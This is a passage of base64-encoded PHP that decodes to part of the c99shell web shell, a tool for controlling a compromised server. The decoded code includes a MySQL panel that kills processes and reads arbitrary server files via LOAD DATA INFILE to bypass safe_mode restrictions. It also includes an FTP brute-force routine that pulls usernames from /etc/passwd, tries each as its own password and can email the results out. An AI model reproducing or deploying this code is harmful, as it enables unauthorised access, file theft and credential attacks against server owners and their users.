Y2lhbGNoYXJzKCRzcWxfZ2V0ZmlsZSk7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2
YWx1ZT0iR2V0Ij48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwv
dHI+PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhl
aWdodD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJs
ZT48P3BocA0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRz
cWxfYWN0KSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxo
ciBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0
ID09ICJuZXdkYiIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIjxiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoKG15c3FsX2NyZWF0
ZV9kYigkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKQ0KICAgICAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkRCIFwiIiAu
IGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikgLiAiXCIgaGFzIGJlZW4gY3JlYXRlZCB3aXRo
IHN1Y2Nlc3MhPC9iPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIgLiBodG1sc3BlY2lh
bGNoYXJzKCRzcWxfbmV3ZGIpIC4gIlwiLjxicj5SZWFzb246PC9iPiAiIC4gbXlzcWxfc21hcnRl
cnJvcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVyc3RhdHVzIikNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15
c3FsX3F1ZXJ5KCJTSE9XIFNUQVRVUyIsICRzcWxfc29jayk7DQogICAgICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8Y2VudGVyPjxiPlNlcnZlci1zdGF0dXMgdmFyaWFibGVzOjwvYj48YnI+PGJy
PiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBj
ZWxsUGFkZGluZz0wIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9y
ZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRy
ZXN1bHQsIE1ZU1FMX05VTSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4iIC4gJHJvd1swXSAuICI8L3RkPjx0ZD4i
IC4gJHJvd1sxXSAuICI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PC9jZW50ZXI+IjsNCiAgICAgICAg
ICAgICAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX2FjdCA9PSAic2VydmVydmFy
cyIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1
bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBWQVJJQUJMRVMiLCAkc3FsX3NvY2spOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Yj5TZXJ2ZXIgdmFyaWFibGVzOjwvYj48YnI+
PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9
MCBjZWxsUGFkZGluZz0wIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMg
Ym9yZGVyPTE+PHRkPjxiPk5hbWU8L2I+PC90ZD48dGQ+PGI+VmFsdWU8L2I+PC90ZD48L3RyPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5
KCRyZXN1bHQsIE1ZU1FMX05VTSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4iIC4gJHJvd1swXSAuICI8L3RkPjx0
ZD4iIC4gJHJvd1sxXSAuICI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0N
CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgkc3FsX2FjdCA9PSAicHJvY2Vzc2VzIikNCiAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgk
a2lsbCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHF1ZXJ5ID0gIktJTEwgIiAuICRraWxsIC4gIjsiOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxfc29jayk7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+S2lsbGluZyBwcm9jZXNzICMiIC4gJGtp
bGwgLiAiLi4uIG9rLiBoZSBpcyBkZWFkLCBhbWVuLjwvYj4iOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJT
SE9XIFBST0NFU1NMSVNUIiwgJHNxbF9zb2NrKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gIjxjZW50ZXI+PGI+UHJvY2Vzc2VzOjwvYj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnQ29sb3I9
IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwv
dGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48
L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RB
VEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3Ry
PiI7DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fy
cmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZD4iIC4gJHJvd1swXSAuICI8L3Rk
Pjx0ZD4iIC4gJHJvd1sxXSAuICI8L3RkPjx0ZD4iIC4gJHJvd1syXSAuICI8L3RkPjx0ZD4iIC4g
JHJvd1szXSAuICI8L3RkPjx0ZD4iIC4gJHJvd1s0XSAuICI8L3RkPjx0ZD4iIC4gJHJvd1s1XSAu
ICI8L3RkPjx0ZD4iIC4gJHJvd1s2XSAuICI8L3RkPjx0ZD4iIC4gJHJvd1s3XSAuICI8L3RkPjx0
ZD48YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICJzcWxfYWN0PXByb2Nlc3NlcyZraWxsPSIgLiAk
cm93WzBdIC4gIlwiPjx1PktpbGw8L3U+PC9hPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJnZXRm
aWxlIikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRt
cGRiID0gJHNxbF9sb2dpbiAuICJfdG1wZGIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNl
bGVjdCA9IG15c3FsX3NlbGVjdF9kYigkdG1wZGIpOw0KICAgICAgICAgICAgICAgICAgICAgICAg
aWYgKCEkc2VsZWN0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIG15c3FsX2NyZWF0ZV9kYigkdG1wZGIpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICRzZWxlY3QgPSBteXNxbF9zZWxlY3RfZGIoJHRtcGRiKTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAkY3JlYXRlZCA9ICEhJHNlbGVjdDsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkc2VsZWN0KQ0KICAgICAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjcmVhdGVkID0g
ZmFsc2U7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIkNSRUFURSBU
QUJMRSBgdG1wX2ZpbGVgICggYFZpZXdpbmcgdGhlIGZpbGUgaW4gc2FmZV9tb2RlK29wZW5fYmFz
ZWRpcmAgTE9OR0JMT0IgTk9UIE5VTEwgKTsiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBteXNxbF9xdWVyeSgiTE9BRCBEQVRBIElORklMRSBcIiIgLiBhZGRzbGFzaGVzKCRzcWxfZ2V0
ZmlsZSkgLiAiXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0bXBfZmlsZTsiKTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRyZXN1bHQpDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8
Yj5FcnJvciBpbiByZWFkaW5nIGZpbGUgKHBlcm1pc2lvbiBkZW5pZWQpITwvYj4iOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNl
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBmb3IgKCRpID0gMDskaSA8IG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgJG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsICRpKTsNCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkZiA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAo
JHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJGYgLj0gam9pbigiXHJcbiIsICRyb3cpOw0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZikp
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGVjaG8gIjxiPkZpbGUgXCIiIC4gJHNxbF9nZXRmaWxlIC4gIlwiIGRv
ZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8Yj5GaWxlIFwiIiAuICRzcWxfZ2V0ZmlsZSAuICJcIjo8L2I+PGJyPiIg
LiBubDJicihodG1sc3BlY2lhbGNoYXJzKCRmKSkgLiAiPGJyPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxf
ZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15
c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAg
ICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8L3Rk
PjwvdHI+PC90YWJsZT4iOw0KICAgICAgICBpZiAoJHNxbF9zb2NrKQ0KICAgICAgICB7DQogICAg
ICAgICAgICAkYWZmZWN0ZWQgPSBAbXlzcWxfYWZmZWN0ZWRfcm93cygkc3FsX3NvY2spOw0KICAg
ICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkYWZmZWN0ZWQpKSBvciAoJGFmZmVjdGVkIDwgMCkp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGFmZmVjdGVkID0gMDsNCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGNlbnRlcj48Yj5BZmZlY3RlZCByb3dz
OiAiIC4gJGFmZmVjdGVkIC4gIjwvY2VudGVyPjwvdGQ+PC90cj4iOw0KICAgICAgICB9DQogICAg
ICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICB9DQogICAgaWYgKCRhY3QgPT0gIm1rZGlyIikNCiAg
ICB7DQogICAgICAgIGlmICgkbWtkaXIgIT0gJGQpDQogICAgICAgIHsNCiAgICAgICAgICAgIGlm
IChmaWxlX2V4aXN0cygkbWtkaXIpKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVj
aG8gIjxiPk1ha2UgRGlyIFwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKSAuICJcIjwvYj46
IG9iamVjdCBhbHJlZHkgZXhpc3RzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2Vp
ZiAoIW1rZGlyKCRta2RpcikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAi
PGI+TWFrZSBEaXIgXCIiIC4gaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpIC4gIlwiPC9iPjogYWNj
ZXNzIGRlbmllZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8YnI+PGJyPiI7
DQogICAgICAgIH0NCiAgICAgICAgJGFjdCA9ICRkc3BhY3QgPSAibHMiOw0KICAgIH0NCiAgICBp
ZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpDQogICAgew0KICAgICAgICBlY2hvICI8Yj5GdHAg
UXVpY2sgYnJ1dGU6PC9iPjxicj4iOw0KICAgICAgICBpZiAoIXdpbikNCiAgICAgICAgew0KICAg
ICAgICAgICAgZWNobyAiVGhpcyBmdW5jdGlvbnMgbm90IHdvcmsgaW4gV2luZG93cyE8YnI+PGJy
PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICBmdW5j
dGlvbiBjOTlmdHBicnV0ZWNoZWNrKCRob3N0LCAkcG9ydCwgJHRpbWVvdXQsICRsb2dpbiwgJHBh
c3MsICRzaCwgJGZxYl9vbmx5d2l0aHNoKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
IGlmICgkZnFiX29ubHl3aXRoc2gpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAkdHJ1ZSA9ICghaW5fYXJyYXkoJHNoLCBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAg
ICAgICIvYmluL2ZhbHNlIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICIvc2Jpbi9ub2xvZ2lu
Ig0KICAgICAgICAgICAgICAgICAgICApKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0cnVl
ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCR0cnVlKQ0K
ICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHNvY2sgPSBAZnRwX2Nvbm5l
Y3QoJGhvc3QsICRwb3J0LCAkdGltZW91dCk7DQogICAgICAgICAgICAgICAgICAgIGlmIChAZnRw
X2xvZ2luKCRzb2NrLCAkbG9naW4sICRwYXNzKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cImZ0cDovLyIgLiAkbG9naW4gLiAi
OiIgLiAkcGFzcyAuICJAIiAuICRob3N0IC4gIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5l
Y3RlZCB0byAiIC4gJGhvc3QgLiAiIHdpdGggbG9naW4gXCIiIC4gJGxvZ2luIC4gIlwiIGFuZCBw
YXNzd29yZCBcIiIgLiAkcGFzcyAuICJcIjwvYj48L2E+Ljxicj4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgb2JfZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVl
Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKQ0KICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgJGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGZwID0gZm9wZW4oIi9ldGMvcGFzc3dk
IiwgInIiKTsNCiAgICAgICAgICAgICAgICBpZiAoISRmcCkNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dv
cmQtbGlzdC4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGZxYl9sb2dnaW5nKQ0KICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZxYl9sb2dm
aWxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRmcWJfbG9nZnAgPSBmb3BlbigkZnFiX2xvZ2ZpbGUsICJ3Iik7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZxYl9sb2dmcCA9IGZh
bHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAg
JGZxYl9sb2cgPSAiRlRQIFF1aWNrIEJydXRlIChjYWxsZWQgYzk5c2hlbGwgdi4gIiAuICRzaHZl
ciAuICIpIHN0YXJ0ZWQgYXQgIiAuIGRhdGUoImQubS5ZIEg6aTpzIikgLiAiXHJcblxyXG4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcWJfbG9nZmlsZSkNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZxYl9sb2dm
cCwgJGZxYl9sb2csIHN0cmxlbigkZnFiX2xvZykpOw0KICAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIG9iX2ZsdXNoKCk7
DQogICAgICAgICAgICAgICAgICAgICRpID0gJHN1Y2Nlc3MgPSAwOw0KICAgICAgICAgICAgICAg
ICAgICAkZnRwcXVpY2tfc3QgPSBnZXRtaWNyb3RpbWUoKTsNCiAgICAgICAgICAgICAgICAgICAg
d2hpbGUgKCFmZW9mKCRmcCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICRzdHIgPSBleHBsb2RlKCI6IiwgZmdldHMoJGZwLCAyMDQ4KSk7DQogICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoYzk5ZnRwYnJ1dGVjaGVjaygibG9jYWxob3N0IiwgMjEsIDEs
ICRzdHJbMF0sICRzdHJbMF0sICRzdHJbNl0sICRmcWJfb25seXdpdGhzaCkpDQogICAgICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+Q29u
bmVjdGVkIHRvICIgLiBnZXRlbnYoIlNFUlZFUl9OQU1FIikgLiAiIHdpdGggbG9naW4gXCIiIC4g
JHN0clswXSAuICJcIiBhbmQgcGFzc3dvcmQgXCIiIC4gJHN0clswXSAuICJcIjwvYj48YnI+IjsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnFiX2xvZyAuPSAiQ29ubmVjdGVkIHRvICIg
LiBnZXRlbnYoIlNFUlZFUl9OQU1FIikgLiAiIHdpdGggbG9naW4gXCIiIC4gJHN0clswXSAuICJc
IiBhbmQgcGFzc3dvcmQgXCIiIC4gJHN0clswXSAuICJcIiwgYXQgIiAuIGRhdGUoImQubS5ZIEg6
aTpzIikgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcWJfbG9n
ZnApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBmc2VlaygkZnFiX2xvZ2ZwLCAwKTsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZndyaXRlKCRmcWJfbG9nZnAsICRmcWJfbG9nLCBzdHJsZW4oJGZxYl9sb2cpKTsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgJHN1Y2Nlc3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRp
ID4gJGZxYl9sZW5naHQpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICAgICAkaSsrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgICAgIGlmICgkc3VjY2VzcyA9PSAwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgICAgICBlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgJGZxYl9sb2cgLj0gIk5vIHN1Y2Nlc3MuIGNvbm5lY3Rpb25z
IVxyXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmdHBx
dWlja190ID0gcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkZnRwcXVpY2tfc3QsIDQpOw0KICAgICAg
ICAgICAgICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxiPkRvbmUhPC9iPjxi
cj5Ub3RhbCB0aW1lIChzZWNzLik6ICIgLiAkZnRwcXVpY2tfdCAuICI8YnI+VG90YWwgY29ubmVj
dGlvbnM6ICIgLiAkaSAuICI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPWdyZWVuPjxiPiIgLiAk
c3VjY2VzcyAuICI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIgLiAoJGkgLSAkc3VjY2Vzcykg
LiAiPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiIC4gcm91bmQoJGkgLyAkZnRwcXVpY2tf
dCwgMikgLiAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICRmcWJfbG9nIC49ICJcclxuLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbkRvbmUhXHJcblRvdGFs
IHRpbWUgKHNlY3MuKTogIiAuICRmdHBxdWlja190IC4gIlxyXG5Ub3RhbCBjb25uZWN0aW9uczog
IiAuICRpIC4gIlxyXG5TdWNjZXNzLjogIiAuICRzdWNjZXNzIC4gIlxyXG5VbnN1Y2Nlc3MuOiIg
LiAoJGkgLSAkc3VjY2VzcykgLiAiXHJcbkNvbm5lY3RzIHBlciBzZWNvbmQ6ICIgLiByb3VuZCgk
aSAvICRmdHBxdWlja190LCAyKSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRm
cWJfbG9nZnApDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
IGZzZWVrKCRmcWJfbG9nZnAsIDApOw0KICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRm
cWJfbG9nZnAsICRmcWJfbG9nLCBzdHJsZW4oJGZxYl9sb2cpKTsNCiAgICAgICAgICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGZxYl9sb2dlbWFpbCkNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgQG1haWwoJGZxYl9sb2dlbWFpbCwg
ImM5OXNoZWxsIHYuICIgLiAkc2h2ZXIgLiAiIHJlcG9ydCIsICRmcWJfbG9nKTsNCiAgICAgICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZxYl9sb2dmcCk7DQog
ICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzIC4gImM5OXNo
X2Z0cHF1aWNrYnJ1dGVfIiAuIGRhdGUoImQubS5ZX0hfaV9zIikgLiAiLmxvZyI7DQogICAgICAg
ICAgICAgICAgJGxvZ2ZpbGUgPSBzdHJfcmVwbGFjZSgiLy8iLCBESVJFQ1RPUllfU0VQQVJBVE9S
LCAkbG9nZmlsZSk7DQogICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gYWN0aW9uPVwiIiAuICRz
dXJsIC4gIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1cImZ0cHF1aWNrYnJ1
dGVcIj48YnI+UmVhZCBmaXJzdDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPVwiZnFiX2xlbmdodFwi
